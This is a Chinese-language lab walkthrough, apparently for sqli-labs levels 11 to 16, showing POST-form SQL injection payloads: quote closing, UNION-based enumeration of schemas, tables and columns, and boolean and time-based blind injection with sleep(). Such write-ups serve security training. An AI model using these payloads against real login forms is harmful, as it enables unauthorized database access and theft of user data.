目录
一、第十一关
本关和前面10关提交方式不一样,可以看到是from表单POST提交,但注入原理是一样的。
通过加入单引号,返回数据库报错,说明为基于错误信息的SQL注入,根据错误提示,推断构造语句为username='$name' and pwd='$pwd'那么我们来手工注入复习一波。
开始手工注入:
#猜字段
uname=aaa' order by 3%23&passwd=2&submit=Submit #返回字段数错误页面
uname=aaa' order by 2%23&passwd=2&submit=Submit #返回正常页面,说明当前表中字段数为2个
#获取数据库系统信息
uname=aaa' union select version(),user()%23&passwd=2&submit=Submit #获取基本信息
#获取全部数据库名
uname=aaa' union select schema_name,null from information_schema.schemata limit 2,1%23&passwd=2&submit=Submit
#获取该数据库下的表名
uname=aaa' union select table_name,null from information_schema.tables where table_schema='security' limit 1,1%23&passwd=2&submit=Submit
#获取该表名下的字段名
uname=aaa' union select null,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1%23&passwd=2&submit=Submit
二、第十二关
本关和第十一关类似,还是居于错误的SQL注入,只是单引号换成")而已,具体测试步骤就参考上一关。
闭合采用uname=admin")进行闭合
三、第十三关
本关在后面加入单引号,返回数据库报错,根据报错信息可以看到构造语句是uname = ('$name'),那么只要闭合uname=admin')即可。
但注入永真语句,不返回数据库信息了,那么本关就考的是盲注
uname=admin') and 1%23&passwd=123456&submit=Submit
开始注入:
uname=admin') and if(1,sleep(5),0)%23&passwd=123456&submit=Submit #网页返回延迟了,说明执行了sleep函数
#因为网页登录成功和登录失败返回的字段大小不一样,那么可以通过二分搜索法来进行判断
uname=admin') and if(substring(version(),1,1)='5',1,0)%23&passwd=123456&submit=Submit #判断当前数据库版本是否为
四、第十四关
本关和十三关类似,也是盲注,通过添加双引号,也会返回数据库错误信息,只要闭合双引号即可。
五、第十五关
本关无论输入什么都返回一样的页面,说明不能靠返回字段大小判断了,只能靠时间延迟函数判断是否延迟进行注入了。
uname=admin' and if(1,sleep(5),0)%23&passwd=123456&submit=Submit #网页延迟了返回
uname=admin' and if(substring(version(),1,1)='5',sleep(5),0)%23&passwd=123456&submit=Submit #网页延迟返回 说明数据库版本为5
六、第十六关
本关和十五关类似,通过测试此语句网页返回了延迟,说明闭合")即可。
uname=admin") and if(1,sleep(5),0)%23&passwd=123456&submit=Submit